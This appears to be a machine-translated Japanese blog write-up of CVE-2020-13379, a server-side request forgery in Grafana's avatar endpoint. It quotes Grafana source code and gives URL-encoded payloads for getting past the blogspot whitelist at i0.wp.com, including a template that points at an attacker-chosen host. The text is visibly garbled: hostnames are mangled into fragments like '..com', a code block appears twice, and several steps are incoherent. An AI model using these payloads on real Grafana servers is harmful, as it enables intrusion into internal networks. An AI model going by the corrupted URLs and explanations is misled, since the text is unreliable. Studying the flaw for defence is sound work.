今日はいつものように、2時間だけ早く出勤しました。
まだ出勤時間には早いので、今日はどの幸運なお偉方を拝んでいるのだろうと思いながらツイッターを閲覧していると、いつの間にか多くの人がCVE-2020-13379脆弱性に関するツイートをリツイートしていることに気づきました。
これだけ多くの人が回しているのを見ると、すごい抜け道に違いないと思い、クリックしてみると......。
これは、バージョン 3.0.1-7.0.1 に関わる Grafana の ssrf の不正な脆弱性です。脆弱性の詳細は以下の通りです。
脆弱性の詳細
脆弱性のエントリーポイントは/avatar/:hashインターフェースで、Grafanaのapi.goファイルでは以下のルートで確認できます。
r.Get("/avatar/:hash", avatarCacheServer.Handler)
このルートはインターフェイス/avatar/:hashのハッシュ値を受け取り、secure.grafana.comにルーティングします。コードの実装はおおよそ次のとおりです:
const (
gravatarSource = "https://..com/avatar/"
)
...
case err = <-thunder.GoFetch(gravatarSource+this.hash+"?"+this.reqParams, this):
secure.gravartar.comそして、これには次のような特徴があります:
この機能の仕組みは?
実際にはリダイレクトです。https://..com/avatar/test?d=http%3a%2f%.com%.png
にリダイレクトされます。
http://..com/.com/.png
カールを使って次のような実験ができます。
i0.wp.com/imageDomain/pathofImageそれから、あなたは困惑するかもしれませんが、私はアドレスが指定されていない、どのように私はi0.wp.comホストにジャンプしましたああ!
また、このホストはどうやって私が指定したアドレスのイメージを入手したのでしょうか?
そして、お察しの通り、ここにもリダイレクトがあります。
imageDoamin/pathofImageへのリクエストが行われると、そのアドレスにリダイレクトされますが、ここでのimageDoaminは単なるドメイン名ではなく、*.bp.blogspot.comサブドメイン配下のドメイン名でなければなりません。
これはホワイトリストの設定であり、必要なのはこのホワイトリストを迂回することであり、一度迂回すれば完了です!
もう少し調べてみたところ、以下のような迂回テクニックを見つけました。
https://grafanaHost/avatar/test%3fd%.com%25253f%253b%..com
上記のテクニックを使えば、簡単にホワイトリスト制限を回避してaxin.comにリクエストをリダイレクトし、ssrf全体を完了させることができます。再現の過程でi0.wp.comがこのバイパスを修正していることがわかりましたので、本家からのイメージを貼っておきます。
イメージからわかるように、指定されたドメインにリダイレクトされますが、それを修正した後、上記のリクエストを送信すると、再びリダイレクトされず、004が返されます。
悲しい話です。
最終的なペイロードは次のようになります:test%3fd%3daxin.com%25253f%253b%252fbp.blogspot.com
そのプロセスを振り返ってみましょう。
https://..com/avatar/anything?d=.com%253f%3b/...com/Grafanaは文字列を:hashとして扱い、その時点でターゲットサーバーは
http://..com/.com%3f%;/...com/
それから、d= パラメータが使われているので、リクエストは再び
http://.com?;/...com
最後に、ホワイトリストの規則性に欠陥があるため、指定されたホストアドレスaxin.comにリダイレクトします。
...
if avatar.Expired() {
// The cache item is either expired or newly created, update it from the server
if err := avatar.Update(); err != nil {
log.Trace("avatar update error: %v", err)
avatar = this.notFound
}
}
if avatar.notFound {
avatar = this.notFound
} else if !exists {
if err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil {
log.Trace("Error adding avatar to cache: %s", err)
}
}
ctx.Resp.Header().Add("Content-Type", "image/jpeg")
if !setting.EnableGzip {
ctx.Resp.Header().Add("Content-Length", strconv.Itoa(len(avatar.data.Bytes())))
}
ctx.Resp.Header().Add("Cache-Control", "private, max-age=3600")
if err := avatar.Encode(ctx.Resp); err != nil {
log.Warn("avatar encode error: %v", err)
ctx.WriteHeader(500)
}
最後に、ターゲットサーバーは上記のアドレスをリクエストし、Content-Typeがimage/jpegのレスポンスを以下のコードで返します:
...
if avatar.Expired() {
// The cache item is either expired or newly created, update it from the server
if err := avatar.Update(); err != nil {
log.Trace("avatar update error: %v", err)
avatar = this.notFound
}
}
if avatar.notFound {
avatar = this.notFound
} else if !exists {
if err := this.cache.Add(hash, avatar, gocache.DefaultExpiration); err != nil {
log.Trace("Error adding avatar to cache: %s", err)
}
}
ctx.Resp.Header().Add("Content-Type", "image/jpeg")
if !setting.EnableGzip {
ctx.Resp.Header().Add("Content-Length", strconv.Itoa(len(avatar.data.Bytes())))
}
ctx.Resp.Header().Add("Cache-Control", "private, max-age=3600")
if err := avatar.Encode(ctx.Resp); err != nil {
log.Warn("avatar encode error: %v", err)
ctx.WriteHeader(500)
}
最後に、エクスプロイトの作者が自身のペイロードの1つである
https://grafanaHost/avatar/test%3fd%..com%25253f%253b%..com%252fYOURHOSTHERE
しかし、i0.wp.comが規則性のバグを修正したため、このペイロードは無効になったようです...。





